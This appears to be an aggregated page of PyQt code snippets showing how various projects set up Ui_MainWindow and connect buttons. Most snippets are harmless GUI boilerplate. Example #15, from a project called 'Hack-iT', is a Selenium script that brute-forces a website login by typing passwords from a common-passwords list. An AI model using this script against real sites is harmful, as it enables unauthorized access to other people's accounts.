コード例 #1
0
 def __init__(self, arguments):
     super().__init__()
     self.ui = Ui_MainWindow()
     self.ui.setupUi(self)
     self.setWindowTitle("A**& Texture Tools")
     self.connect()
     self.show()
コード例 #2
0
ファイル: main.py プロジェクト: PhilCuster/Dungeon_Journal
class MainWindow(QMainWindow):
    def __init__(self):
        super(MainWindow, self).__init__()

        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        self.ui.quitButton.clicked.connect(self.close)
        self.ui.createTemplateButton.clicked.connect(self.createNewTemplate)
        self.ui.editLibraryButton.clicked.connect(self.openEditLibrary)
        self.ui.playMenuButton.clicked.connect(self.openPlayMenu)
        self.w = None

    # Create the widget to make a new template.  Hide the main window and pass a reference of itself to the
    # constructor for the newTemplate widget.
    def createNewTemplate(self):
        self.hide()
        self.w = newTemplate(self)
        self.w.show()

    def openEditLibrary(self):
        self.hide()
        self.w = editLibrary(self)
        self.w.show()

    def openPlayMenu(self):
        self.hide()
        self.w = playMenu(self)
        self.w.show()
コード例 #3
0
ファイル: login.py プロジェクト: pure38523/S23
 def loginWindowShow(self):
     self.MainWindow = QtWidgets.QWidget()
     self.uiMain = Ui_MainWindow()
     self.uiMain.setupUi(self.MainWindow)
     self.uiMain.loginPage(self.ui)
     self.MainWindow.show()
     self.ui.hide()
コード例 #4
0
class Main:
    def __init__(self):
        self.main_win = QMainWindow()
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self.main_win)

        self.ui.stackedWidget.setCurrentWidget(self.ui.home)

        self.ui.nav_home_btn.clicked.connect(self.showHome)
        self.ui.nav_scan_btn.clicked.connect(self.showPortScan)
        self.ui.nav_ip_btn.clicked.connect(self.showIpScan)
        self.ui.nav_terminal_btn.clicked.connect(self.showTerminal)

    def show(self):
        self.main_win.showMaximized()

    def showHome(self):
        self.ui.stackedWidget.setCurrentWidget(self.ui.home)

    def showPortScan(self):
        self.ui.stackedWidget.setCurrentWidget(self.ui.port_scan)

    def showIpScan(self):
        self.ui.stackedWidget.setCurrentWidget(self.ui.ip_scan)

    def showTerminal(self):
        self.ui.stackedWidget.setCurrentWidget(self.ui.terminal)
コード例 #5
0
ファイル: main.py プロジェクト: PhilCuster/Dungeon_Journal
class MainWindow(QMainWindow):
    def __init__(self):
        super(MainWindow, self).__init__()

        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        self.ui.quitButton.clicked.connect(self.close)
        self.ui.createTemplateButton.clicked.connect(self.createNewTemplate)
        self.ui.editLibraryButton.clicked.connect(self.openEditLibrary)
        self.ui.playMenuButton.clicked.connect(self.openPlayMenu)
        self.w = None

    # Create the widget to make a new template.  Hide the main window and pass a reference of itself to the
    # constructor for the newTemplate widget.
    def createNewTemplate(self):
        self.hide()
        self.w = newTemplate(self)
        self.w.show()

    def openEditLibrary(self):
        self.hide()
        self.w = editLibrary(self)
        self.w.show()

    def openPlayMenu(self):
        self.hide()
        self.w = playMenu(self)
        self.w.show()
コード例 #6
0
 def __init__(self):
     super(ApplicationWindow, self).__init__()
     self.ui = Ui_MainWindow()
     self.ui.setupUi(self)
     self.filepath1 = ""
     self.filepath2 = ""
     self.filepath3 = ""
     self.filepath4 = ""
     self.filepath5 = ""
     # Tab 1 buttons
     self.ui.browseBtn.clicked.connect(self.browseFile1)
     self.ui.resultBtn.clicked.connect(
         lambda: self.showResult1(filepath=self.filepath1))
     # Tab 2 buttons
     self.ui.extractBtn.hide()
     self.ui.browseBtn_2.clicked.connect(self.browseFile2)
     self.ui.resultBtn_2.clicked.connect(
         lambda: self.showResult2(filepath=self.filepath2))
     self.ui.extractBtn.clicked.connect(
         lambda: self.showResult2(filepath=self.filepath2, extract=1))
     # Tab 3 buttons
     self.ui.browseBtn_3.clicked.connect(self.browseFile3)
     self.ui.resultBtn_3.clicked.connect(
         lambda: self.showResult3(filepath=self.filepath3))
     # Tab 4 buttons
     self.ui.browseBtn_4.clicked.connect(self.browseFile4)
     self.ui.browseBtn_5.clicked.connect(self.browseFile5)
     self.ui.resultBtn_4.clicked.connect(lambda: self.showResult4(
         filepath1=self.filepath4, filepath2=self.filepath5))
コード例 #7
0
	def __init__(self):
		QtGui.QMainWindow.__init__(self)
		self.ui = Ui_MainWindow()
		self.ui.setupUi(self)
		self.ui.btnConvert.clicked.connect(self.btnConvert_clicked)
		# self.ui.btnDefault.clicked.connect(self.btnDefault_clicked)
		self.ui.actionInput_File.triggered.connect(self.selectInputFile)
		self.ui.actionOutput_File.triggered.connect(self.setOutputFile)
コード例 #8
0
ファイル: main.py プロジェクト: johan-105/PyQt-LoginDemo
def main():
    app = QtWidgets.QApplication(sys.argv)
    if check_login():
        MainWindow = QtWidgets.QMainWindow()
        ui = Ui_MainWindow()
        ui.setupUi(MainWindow)
        MainWindow.show()
        sys.exit(app.exec_())
コード例 #9
0
 def __init__(self, scaleRate):
     super(mainWindow, self).__init__(None)
     self.ui = Ui_MainWindow()
     self.ui.setupUi(self,scaleRate) # 把所有控件大小和位置都乘以Windows缩放比例来适配Windows缩放
     self.setupIcon() # 直接通过base64把图标写入程序,避免pyinstaller打包后图标失效
     self.dumpingdialog = dumpingDialog(self,self.icon)
     self.initSignal()
     self.show()
コード例 #10
0
ファイル: login.py プロジェクト: pure38523/S23
 def skipMain(self):
     self.mainUI = QtWidgets.QMainWindow()
     self.uiMain = Ui_MainWindow()
     self.uiMain.setupUi(self.mainUI)
     print("USERNAME:", self.username)
     # self.uiMain.getUserNameMain(self.username)
     self.mainUI.show()
     self.ui.hide()
コード例 #11
0
    def __init__(self):
        super(MainWindow, self).__init__()
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        self.ui.btn_salir.clicked.connect(self.salir)
        self.ui.btn_agregar.clicked.connect(self.mostrar_agregar)
        self.ui.btn_comprar.clicked.connect(self.mostrar_comprar)
        self.ui.btn_mostrar.clicked.connect(self.mostrar_tabla)
コード例 #12
0
    def __init__(self, *args):
        self.ser = None
        self.reader = CReader()
        self.writer = CWriter()

        apply(QMainWindow.__init__, (self, ) + args)
        self.ui = Ui_MainWindow()
        self.setupUi()
        self.printInfo("Ready...")
コード例 #13
0
def startGui():
    try:
        app = QApplication(sys.argv)
        ui_window = Ui_MainWindow()
        ui_window.show()

        app.exec_()
    except Exception as e:
        print e
コード例 #14
0
ファイル: main.py プロジェクト: ratansingh98/Hack-iT
 def __init__(self):
     app = QtWidgets.QApplication(sys.argv)
     MainWindow = QtWidgets.QMainWindow()
     self.ui = Ui_MainWindow()
     self.ui.setupUi(MainWindow)
     self.ui.pushButton_2.clicked.connect(self.submit)
     self.ui.pushButton_3.clicked.connect(os._exit)
     MainWindow.show()
     sys.exit(app.exec_())
コード例 #15
0
ファイル: main.py プロジェクト: ratansingh98/Hack-iT
class execc:
    progress_value = 0
    stop_progress = False

    def __init__(self):
        app = QtWidgets.QApplication(sys.argv)
        MainWindow = QtWidgets.QMainWindow()
        self.ui = Ui_MainWindow()
        self.ui.setupUi(MainWindow)
        self.ui.pushButton_2.clicked.connect(self.submit)
        self.ui.pushButton_3.clicked.connect(os._exit)
        MainWindow.show()
        sys.exit(app.exec_())

    def submit(self):
        try:

            url1 = self.ui.lineEdit.text()
            userName = self.ui.lineEdit_2.text()
            UserCSS = self.ui.lineEdit_3.text()
            PasswordCSS = self.ui.lineEdit_4.text()
            SubmitCSS = self.ui.lineEdit_6.text()
            Rate = float(self.ui.lineEdit_5.text())

            if (url1 == "" or userName == "" or UserCSS == ""
                    or PasswordCSS == "" or Rate == "" or SubmitCSS == ""):
                print("Fill all info")
                return

            browser = webdriver.Firefox()  # Opens the Browser
            browser.get(url1)  # Open the Target url in browser

            password = open('passwords.txt'
                            )  # This text file contains most common passwords

            for pattern in password:  # Check all the patterns in password
                try:
                    userElem = browser.find_element_by_css_selector(
                        UserCSS)  # Navigate to UserName Field
                    userElem.send_keys(
                        userName)  # Types the Username of target
                    passElem = browser.find_element_by_css_selector(
                        PasswordCSS)  # Navigate to Password Field
                    passElem.send_keys(pattern)  # Types pattern in password
                    submit = browser.find_element_by_css_selector(
                        SubmitCSS)  # Navigate to Submit Button
                    submit.click()  # Click on submit button
                    time.sleep(Rate)  # Waits for page to get refresh
                except:
                    print("Successful")  # Print Success message
                    break  # Breaks the loop

            password.close()  # Close the File

        except:
            print('Please fill form Correctly')
コード例 #16
0
ファイル: Controller.py プロジェクト: Harabali/Programming2
 def __init__(self):
     self.classes = dict()
     self.monthDict = dict()
     self.MainWindow = QtWidgets.QMainWindow()
     self.ui = Ui_MainWindow()
     self.ui.setupUi(self.MainWindow)
     self.ui.btn_addClass.clicked.connect(self.openNewClassID)
     self.ui.btn_addStudent.clicked.connect(self.openNewStudent)
     self.ui.btn_addMonth.clicked.connect(self.openNewMonth)
     self.MainWindow.show()
コード例 #17
0
ファイル: app.py プロジェクト: SlyCodePanda/magic-counter
    def __init__(self):
        super(AppWindow, self).__init__()
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        self.setWindowTitle("MtG: Life Counter")
        # ToDo: Use pathlib to set img paths so app will work regardless of operating system.
        self.setWindowIcon(QtGui.QIcon('imgs//mtg_icon.png'))

        self.home()
コード例 #18
0
ファイル: main.py プロジェクト: PhilCuster/Dungeon_Journal
    def __init__(self):
        super(MainWindow, self).__init__()

        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        self.ui.quitButton.clicked.connect(self.close)
        self.ui.createTemplateButton.clicked.connect(self.createNewTemplate)
        self.ui.editLibraryButton.clicked.connect(self.openEditLibrary)
        self.ui.playMenuButton.clicked.connect(self.openPlayMenu)
        self.w = None
コード例 #19
0
    def __init__(self, parent=None, flags=Qt.WindowFlags()):
        super().__init__(parent=parent, flags=flags)
        self._ui = Ui_MainWindow()
        self._ui.setupUi(self)

        self._buildUi()  # 动态创建组件,添加到工具栏和状态栏
        self._spinFontSize.valueChanged[int].connect(
            self.my_fontSize_Changed)  # 字体大小设置
        self._comboFontName.currentIndexChanged[str].connect(
            self.my_fontName_Changed)  #字体选择
        self.setCentralWidget(self._ui.plainTextEdit)  # 将文本框防止中央
コード例 #20
0
    def __init__(self):
        self.main_win = QMainWindow()
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self.main_win)

        self.ui.stackedWidget.setCurrentWidget(self.ui.home)

        self.ui.nav_home_btn.clicked.connect(self.showHome)
        self.ui.nav_scan_btn.clicked.connect(self.showPortScan)
        self.ui.nav_ip_btn.clicked.connect(self.showIpScan)
        self.ui.nav_terminal_btn.clicked.connect(self.showTerminal)
コード例 #21
0
 def __init__(self):
     QtWidgets.QMainWindow.__init__(self)
     Ui_MainWindow.__init__(self)
     self.loadSourceFile = False
     self.sdtDone = False
     self.error = False
     self.setupUi(self)
     self.pushButton.clicked.connect(self.openFile)
     self.pushButton_2.clicked.connect(self.SDTAnalysis)
     self.pushButton_3.clicked.connect(self.getMips)
     self.textEdit_1.textChanged.connect(self.scrollToBottom)
コード例 #22
0
    def __init__(self):
        super(ApplicationWindow, self).__init__()

        self.message = []
        self.messageChanged.connect(self.decodeMessage)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        self.graphSettings()
        self.ui.messageEditBox.returnPressed.connect(
            self.ui.sendMessageButton.click)
        self.ui.sendMessageButton.clicked.connect(self.refreshSendMessagePage)
コード例 #23
0
ファイル: main.py プロジェクト: 1314liuwei/PyQt5
    def __init__(self, parent=None, flags=Qt.WindowFlags()):
        super().__init__(parent=parent, flags=flags)
        self._ui = Ui_MainWindow()
        self._ui.setupUi(self)

        self.setCentralWidget(self._ui.splitter)
        self.__setActionForButton()
        self.__createSelection()
        self.__Flageditable = (Qt.ItemIsSelectable | Qt.ItemIsUserCheckable | \
            Qt.ItemIsEnabled | Qt.ItemIsEditable)
        self.__FlagNotEditable = (Qt.ItemIsSelectable | Qt.ItemIsUserCheckable
                                  | Qt.ItemIsEnabled)
コード例 #24
0
ファイル: main.py プロジェクト: ProjectRecommend/Recommend
 def __init__(self):
     super().__init__()
     # self.app = QtWidgets.QApplication(sys.argv)
     self.mainWindow = QtWidgets.QMainWindow()
     # print(dir(self.mainWindow))
     self.ui = Ui_MainWindow()
     self.ui.setupUi(self.mainWindow)
     # bind my self.closeEvent to mainWindow.closeEvent
     self.mainWindow.closeEvent = self.closeEvent
     self.extraSetup()
     # EditMetaDataDialog setup
     self.metadataDialog = MetadataDialog()
コード例 #25
0
 def setupUI(self):
     self.ui = Ui_MainWindow()
     self.ui.setupUi(self)
     self.ui.pushButton_3.clicked.connect(self.__callRTDialog)
     self.setupViewer()
     self.ui.progressBar.setVisible(0)
     self.ui.verticalLayout_3.addWidget(self.viewer)
     self.ui.close.clicked.connect(self.close)
     self.ui.circleRed.clicked.connect(self.close)
     self.ui.circleYellow.clicked.connect(self.showMinimized)
     self.ui.automode.clicked.connect(self.__autorun)
     self.ui.loadsettings.clicked.connect(self.__loadsettings)
     self.ui.monPath.clicked.connect(self.__addMonitorDir)
     return
コード例 #26
0
    def __init__(self, parent=None):
        super().__init__(parent=parent)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        self.setWindowTitle("Wish List")
        self.WishInterface = WishInterface(session)

        self.items = []
        self.update()

        self.ui.itemsLW.itemDoubleClicked.connect(self._on_item_clicked)
        self.ui.createBtn.clicked.connect(self._on_create_clicked)
        self.ui.deleteAllBtn.clicked.connect(self._on_delete_clicked)
コード例 #27
0
ファイル: Inventory.py プロジェクト: Xkonti/Inventory
    def __init__(self, parent=None):
        QtGui.QWidget.__init__(self, parent)
        
        self.search = None

        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        self.setWindowTitle('The Inventory ' + settings.getVersionString())
        self.connectToDatabase()

        #  /=====================================\
        #  |            SLOTS/SIGNALS            |
        # buttons
        self.ui.btnAddItem.clicked.connect(self.itemEditor_newItem)
        self.ui.btnEditItem.clicked.connect(self.itemEditor_editItem)
        self.ui.btnDuplicateItem.clicked.connect(self.itemEditor_duplicateItem)
        self.ui.btnDeleteItem.clicked.connect(self.deleteItem)
        # itemList
        self.ui.itemList.itemSelectionChanged.connect(self.itemList_selectionChanged)
        # searching
        self.ui.btnSearchQuick.clicked.connect(self.search_quick)
        # menu
        self.ui.actionRecreateLists.triggered.connect(self.menuDatabase_actionRecreateLists)
        self.ui.actionDownloadDatabase.triggered.connect(self.menuDatabase_actionDownloadDatabase)
        self.ui.actionProgramVersion.triggered.connect(self.menuAbout_actionProgramVersion)
        #  |            SLOTS/SIGNALS            |
        #  \=====================================/
        self.itemList_refresh()
        self.itemProperties_showItem(None)
コード例 #28
0
ファイル: main.py プロジェクト: UTDallasSEEC/seecLilypadIDE
 def __init__(self, dialog):
     Ui_MainWindow.__init__(self)
     self.setupUi(dialog)
     self.fileName = None
     self.outFileName = None
     #open and save buttons buttons
     self.openBtn.clicked.connect(lambda: self.openFile())
     self.saveBtn.clicked.connect(lambda: self.saveFile())
     #set run button to checkable to disable when compiling for arduino
     self.runBtn.setCheckable(True)
     self.runBtn.clicked.connect(lambda: self.runCode())
     self.codeStatus.setLineWrapMode(0)
     #menuOPtions
     #self.actionAbout.triggered.connect(lambda:self.displayAbout())
     self.actionOpen.triggered.connect(lambda: self.openFile())
     self.actionSave.triggered.connect(lambda: self.saveFile())
コード例 #29
0
ファイル: recorder.py プロジェクト: Yakisoba007/PyTrigno
 def __init__(self, parent=None):
     super(Recorder, self).__init__(parent)
     self.ui = Ui_MainWindow()
     self.ui.setupUi(self)
     
     self.plotter = None
     self.session = None
     self.server = DelsysStation(parent=self)
     
     self.ui.dockWidget.setWidget(QWidget())
     
     self.dockLayout = QGridLayout(self.ui.dockWidget.widget())
     self.showSessionMeta = None
     self.showRunMeta = None
     self.plotWidget = None
     self.plots = []
     self.startTime = datetime.now()
     
     self.pinger = QTimer(self) # timer to read data from server whenever available
     self.runPinger = QTimer(self) # timer to call stop when run duration times out
     
     self.runPinger.setSingleShot(True)
     self.runPinger.timeout.connect(self.stop)
     self.pinger.timeout.connect(self.ping)
     self.kinectRecorder=None
     self.newpath=None
     self.notSavedState = False
コード例 #30
0
ファイル: main.py プロジェクト: hiyokomanjiu/chooseLabel
    def __init__(self, parent=None):
        super(Application, self).__init__(parent)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        # enable drag and drop
        self.setAcceptDrops(True)

        # set matplotlib FigureCanvas
        self.fig = Figure()
        self.FigureCanvas = FigureCanvas(self.fig)
        self.ax1 = self.fig.add_subplot(1, 1, 1)
        self.ax1.set_axis_off()
        self.ui.imageLayout.addWidget(self.FigureCanvas)

        # button
        self.ui.pushButton_save.clicked.connect(self.onClick_save)
コード例 #31
0
    def __init__(self, parent=None):
        super(MainWindow, self).__init__(parent)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        self.paths = []
        self.tracks = []

        self.fileDialog = QFileDialog(self)
        self.folderDialog = QFileDialog(self)

        self.fileDialog.setFileMode(QFileDialog.ExistingFiles)
        self.fileDialog.setAcceptMode(QFileDialog.AcceptOpen)
        self.folderDialog.setFileMode(QFileDialog.Directory)
        self.folderDialog.setAcceptMode(QFileDialog.AcceptOpen)

        self.ui.actionFiles.triggered.connect(lambda: self.fileDialog.show())
        self.ui.actionFolder.triggered.connect(
            lambda: self.folderDialog.show())
        self.fileDialog.accepted.connect(lambda: self.__getFiles(
            self.fileDialog.selectedFiles(), False, False))
        self.folderDialog.accepted.connect(lambda: self.__getFiles(
            self.folderDialog.selectedFiles(), True, False))

        self.ui.btnSelectAll.pressed.connect(
            lambda: self.ui.tableItems.selectAll())
        self.ui.btnDeselect.pressed.connect(
            lambda: self.ui.tableItems.clearSelection())
        self.ui.btnMovUp.pressed.connect(lambda: self.__moveItems(-1))
        self.ui.btnMovDwn.pressed.connect(lambda: self.__moveItems(1))
        self.ui.btnShuffle.pressed.connect(lambda: self.__shuffle())

        self.ui.checkSetTrack.pressed.connect(
            lambda: self.ui.spinTrack.setEnabled(not self.ui.checkSetTrack.
                                                 isChecked()))
        self.ui.checkSetDate.pressed.connect(
            lambda: self.ui.dateYear.setEnabled(not self.ui.checkSetDate.
                                                isChecked()))
        self.ui.checkUseFilename.pressed.connect(
            lambda: self.ui.lineFilenameRegex.setEnabled(
                not self.ui.checkUseFilename.isChecked()))

        # self.ui.tableItems.selectionModel().selectionChanged.connect(lambda: self.__updateInputFields())
        self.ui.btnApply.pressed.connect(lambda: self.__apply())

        self.__setUiToDefault()
コード例 #32
0
    def __init__(self, parent=None):
        QtWidgets.QMainWindow.__init__(self, parent)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        setVerbosity("debug")

        #Button actions
        self.ui.pushButton_en_server.clicked.connect(
            self.pushButton_serverEnable_onClicked)
        self.ui.pushButton_en_client.clicked.connect(
            self.pushButton_clientEnable_onClicked)
        self.ui.pushButton_chart_orientation.clicked.connect(
            self.pushButton_chartOrientation_onClicked)
        self.ui.pushButton_3d_model.clicked.connect(
            self.pushButton_3D_Model_onClicked)
        self.ui.pushButton_angle_set.clicked.connect(
            self.pushButton_angleSetPID_onClicked)
        self.ui.pushButton_speed_set.clicked.connect(
            self.pushButton_speedSetPID_onClicked)
        self.ui.pushButton_angle_zero.clicked.connect(
            self.pushButton_angleZeroPID_onClicked)
        self.ui.pushButton_speed_zero.clicked.connect(
            self.pushButton_speedZeroPID_onClicked)
        self.ui.pushButton_control_set.clicked.connect(
            self.pushButton_controlSet_onClicked)

        #Initial value
        self.ui.doubleSpinBox_angle_kp.setValue(ANGLE_KP_CONS)
        self.ui.doubleSpinBox_angle_ki.setValue(ANGLE_KI_CONS)
        self.ui.doubleSpinBox_angle_kd.setValue(ANGLE_KD_CONS)
        self.ui.doubleSpinBox_angle_kp_Aggr.setValue(ANGLE_KP_AGGR)
        self.ui.doubleSpinBox_angle_ki_Aggr.setValue(ANGLE_KI_AGGR)
        self.ui.doubleSpinBox_angle_kd_Aggr.setValue(ANGLE_KD_AGGR)
        self.ui.doubleSpinBox_angle_setpoint.setValue(CALIBRATED_ZERO_ANGLE)
        self.ui.doubleSpinBox_angle_max.setValue(ANGLE_LIMIT)
        self.ui.doubleSpinBox_speed_kp.setValue(SPEED_KP)
        self.ui.doubleSpinBox_speed_ki.setValue(SPEED_KI)
        self.ui.doubleSpinBox_speed_kd.setValue(SPEED_KD)

        self.serverUDPQueue = queue.Queue(4)
        self.threads = []
        self.worker = None
        self.clientUDP = None
        self.serverUDP = None
コード例 #33
0
    def __init__(self):
        super(MainWindow, self).__init__()
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        # Instantiate widgets and models
        self.toolBar = ToolBar()
        self.addToolBar(self.toolBar)

        self.dirModel = TableModel(dict())
        self.imageModel = QStandardItemModel()

        self.ui.dockWidget.setTitleBarWidget(QtWidgets.QWidget())

        self.statusBarLabel = QtWidgets.QLabel()
        self.statusBar().addWidget(self.statusBarLabel)

        self.cmapMenu = QtWidgets.QMenu()

        self.in_directory = None

        # Cmap menu
        Config.cmap = 'bone'
        self.create_cmap_menu()

        # Toolbar
        self.toolBar.refreshButton.triggered.connect(self.create_dir_model)
        self.toolBar.saveButton.triggered.connect(self.export_df)
        self.toolBar.loadButton.triggered.connect(self.load_df)

        # Directory list view
        self.ui.dirView.clicked.connect(self.change_image_grid)

        # Image view
        image_size = QtCore.QSize(400, 400)  # Set icon sizing here
        grid_size = QtCore.QSize(450, 450)

        self.ui.imageView.setModel(self.imageModel)
        self.ui.imageView.setViewMode(QtWidgets.QListView.IconMode)
        self.ui.imageView.setIconSize(image_size)
        self.ui.imageView.setGridSize(grid_size)
        self.ui.imageView.clicked.connect(self.image_selected)

        # Final touches
        self.update_statusbar()
コード例 #34
0
 def __init__(self):
     """Cosntructor del programa"""
     super(Movies, self).__init__()
     self.ui = Ui_MainWindow()
     self.ui.setupUi(self)
     self.centerWindow()
     self.loadMovies()
     self.setSignals()
     self.show()
コード例 #35
0
ファイル: sppyqt.py プロジェクト: Al-od/sppyqt
 def __init__(self, *args):
    self.ser = None
    self.reader = CReader()
    self.writer = CWriter()
    
    apply(QMainWindow.__init__, (self, ) + args)
    self.ui = Ui_MainWindow()
    self.setupUi()
    self.printInfo("Ready...")
コード例 #36
0
ファイル: main.py プロジェクト: PhilCuster/Dungeon_Journal
    def __init__(self):
        super(MainWindow, self).__init__()

        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        self.ui.quitButton.clicked.connect(self.close)
        self.ui.createTemplateButton.clicked.connect(self.createNewTemplate)
        self.ui.editLibraryButton.clicked.connect(self.openEditLibrary)
        self.ui.playMenuButton.clicked.connect(self.openPlayMenu)
        self.w = None
コード例 #37
0
 def __init__(self):
     """Constructor principal."""
     super(SeptimoArte, self).__init__()
     self.tipoModel = None
     self.ui = Ui_MainWindow()
     self.ui.setupUi(self)
     self.centerWindow()
     self.setModel()
     #self.loadMovies()
     self.setSignals()
     self.show()
コード例 #38
0
    def __init__(self):
        """Constructor principal."""
        super(SeptimoArte, self).__init__()
        self.tipoModel = None
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        self.centerWindow()
        self.setModel()
        self.setSignals()
        self.show()

        # Signals para cargar la grilla correspondiente al cambiar de Tab
        self.ui.tabWidget.currentChanged.connect(self.changedTab)
コード例 #39
0
ファイル: uiDraftOne.py プロジェクト: nerthbox/pyqt4-boto
    def __init__(self):
        QtGui.QMainWindow.__init__(self)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        #### Set Up Signals and other Actions of UI objects
        self.setupSignals()

        #### Global AWS_CREDS
        self.AWS_CREDS = ['', '']

        #### Global boto Connection
        self.conn = None
コード例 #40
0
ファイル: musicPlayer.py プロジェクト: peeped/musicPlayer
def main():
    app = QApplication(sys.argv)
    colors.CONFIGFILE=configparser.ConfigParser()
    colors.CONFIGFILE.read('%sconfig.ini'%(colors.SYSPATH))
    #print(colors.CONFIGFILE.sections())
    ######
    mainWindow = Ui_MainWindow()
    mainWindow.setFocus()

    if str(colors.CONFIGFILE.get('Properties',"fullscreen"))=="True":
        mainWindow.showFullScreen()
    else:
        mainWindow.show()
    sys.exit(app.exec_())
コード例 #41
0
ファイル: qtb_serial.py プロジェクト: cosgroma/qtbooty
  def __init__(self, port=None, baud=None, connect_on_start=False):
    super(SerialWidget, self).__init__()
    self.ser = None
    self.reader = CReader()
    self.writer = CWriter()
    self.ui = Ui_MainWindow()
    self.setupUi()
    self.connected = False

    if port is not None:
      curIndex = self.ui.portsComboBox.findText(port)
      if curIndex > -1:
        self.ui.portsComboBox.setCurrentIndex(curIndex)
        self.port = port
    if baud is not None and baud in baudRates:
      self.ui.baudRateComboBox.setCurrentIndex(self.ui.baudRateComboBox.findText(baud))
      self.baud = baud

    if connect_on_start and self.baud is not None and self.port is not None:
      self.connect()
コード例 #42
0
    def __init__(self, parent=None):
        QtGui.QWidget.__init__(self, parent)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        # TODO: figure out way to configure for different comm types (TCP, MAVLINK, etc) 
        self.comm = AQSerial()
        
        # Default main window conditions
        self.ui.buttonDisconnect.setEnabled(False)
        self.ui.buttonConnect.setEnabled(True)
        self.ui.comPort.setEnabled(True)
        self.ui.baudRate.setEnabled(True)
        self.ui.status.setText("Not connected to the AeroQuad")
        self.availablePorts = []
        self.updateComPortSelection()
        self.updateBaudRates()
        
        # Update comm port combo box to use last used comm port
        defaultComPort = xml.find("./Settings/DefaultComPort").text
        commIndex = self.ui.comPort.findText(defaultComPort)
        if commIndex == -1:
            commIndex = 0
        self.ui.comPort.setCurrentIndex(commIndex)
        
        # Load splash screen
        self.subPanel = Ui_splashScreen()
        self.subPanel.setupUi(self.subPanel)
        self.ui.subPanel.addWidget(self.subPanel)
        
        # Dynamically configure board type menu and subPanel menu from XML configuration file
        self.selectedBoardType = self.configureBoardTypeMenu()
        self.configureSubPanelMenu(self.selectedBoardType)
        self.activeSubPanel = None

        # Connect GUI slots and signals
        self.ui.buttonConnect.clicked.connect(self.connect)
        self.ui.buttonDisconnect.clicked.connect(self.disconnect)
        self.ui.actionExit.triggered.connect(QtGui.qApp.quit)
        self.ui.comPort.currentIndexChanged.connect(self.updateDetectedPorts)
        self.ui.actionBootUpDelay.triggered.connect(self.updateBootUpDelay)
        self.ui.actionCommTimeout.triggered.connect(self.updateCommTimeOut)
コード例 #43
0
ファイル: run.py プロジェクト: rbistolfi/gps-tracking
	def __init__(self):
		QMainWindow.__init__(self)
		self.conn = None
		self.cursor = None
		self.minMoto = 0
		self.maxMoto = 0
		self.minQuad = 0
		self.maxQuad = 0
		self.minCar = 0
		self.maxCar = 0
		self.tmpCountFile = []
		self.countZone = []
		self.mainWindow = Ui_MainWindow()
		self.mainWindow.setupUi(self)
		self.db = DataBase()
		self.db.open('dakar.sqlite')
		
		self.countZones()
		self.countVehicles()
		self.path()
		self.mainTable()
		#self.inputFiles()

		
		self.mainWindow.tblData.resizeRowsToContents()
		self.mainWindow.tblData.setColumnWidth(1, 70)
		self.mainWindow.lblWpt.setAlignment(Qt.AlignHCenter)
		self.mainWindow.lblDz.setAlignment(Qt.AlignHCenter)

		self.ctimer = QTimer()
		self.ctimer.start(10000)
		self.mainWindow.actionCategory.triggered.connect(self.openCategoryWindow)
		self.mainWindow.actionDirectoryPath.triggered.connect(self.searchPath)
		self.mainWindow.actionEditZone.triggered.connect(self.openEditZone)
		self.mainWindow.actionDeleteData.triggered.connect(self.deleteData)

		self.connect(self.ctimer,SIGNAL("timeout()"), self.checkNewFile)
		self.mainWindow.tblGralStatus.cellClicked.connect(self.otherTable)
		self.mainWindow.tblGralStatus.cellChanged.connect(self.saveCell)
		self.connect(self.mainWindow.btnExit,SIGNAL('clicked()'),self.exit)
コード例 #44
0
ファイル: UI.py プロジェクト: gchinellato/Self-Balance-Robot
    def __init__(self, parent=None):
        QtWidgets.QMainWindow.__init__(self, parent)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        setVerbosity("debug")

        #Button actions
        self.ui.pushButton_en_server.clicked.connect(self.pushButton_serverEnable_onClicked)
        self.ui.pushButton_en_client.clicked.connect(self.pushButton_clientEnable_onClicked)
        self.ui.pushButton_chart_orientation.clicked.connect(self.pushButton_chartOrientation_onClicked)
        self.ui.pushButton_3d_model.clicked.connect(self.pushButton_3D_Model_onClicked)
        self.ui.pushButton_angle_set.clicked.connect(self.pushButton_angleSetPID_onClicked)
        self.ui.pushButton_speed_set.clicked.connect(self.pushButton_speedSetPID_onClicked)
        self.ui.pushButton_angle_zero.clicked.connect(self.pushButton_angleZeroPID_onClicked)
        self.ui.pushButton_speed_zero.clicked.connect(self.pushButton_speedZeroPID_onClicked)
        self.ui.pushButton_control_set.clicked.connect(self.pushButton_controlSet_onClicked)

        #Initial value
        self.ui.doubleSpinBox_angle_kp.setValue(ANGLE_KP_CONS)
        self.ui.doubleSpinBox_angle_ki.setValue(ANGLE_KI_CONS)
        self.ui.doubleSpinBox_angle_kd.setValue(ANGLE_KD_CONS)
        self.ui.doubleSpinBox_angle_kp_Aggr.setValue(ANGLE_KP_AGGR)
        self.ui.doubleSpinBox_angle_ki_Aggr.setValue(ANGLE_KI_AGGR)
        self.ui.doubleSpinBox_angle_kd_Aggr.setValue(ANGLE_KD_AGGR)
        self.ui.doubleSpinBox_angle_setpoint.setValue(CALIBRATED_ZERO_ANGLE)
        self.ui.doubleSpinBox_angle_max.setValue(ANGLE_LIMIT)
        self.ui.doubleSpinBox_speed_kp.setValue(SPEED_KP)
        self.ui.doubleSpinBox_speed_ki.setValue(SPEED_KI)
        self.ui.doubleSpinBox_speed_kd.setValue(SPEED_KD)

        self.serverUDPQueue = queue.Queue(4)
        self.threads = []
        self.worker = None
        self.clientUDP = None
        self.serverUDP = None
コード例 #45
0
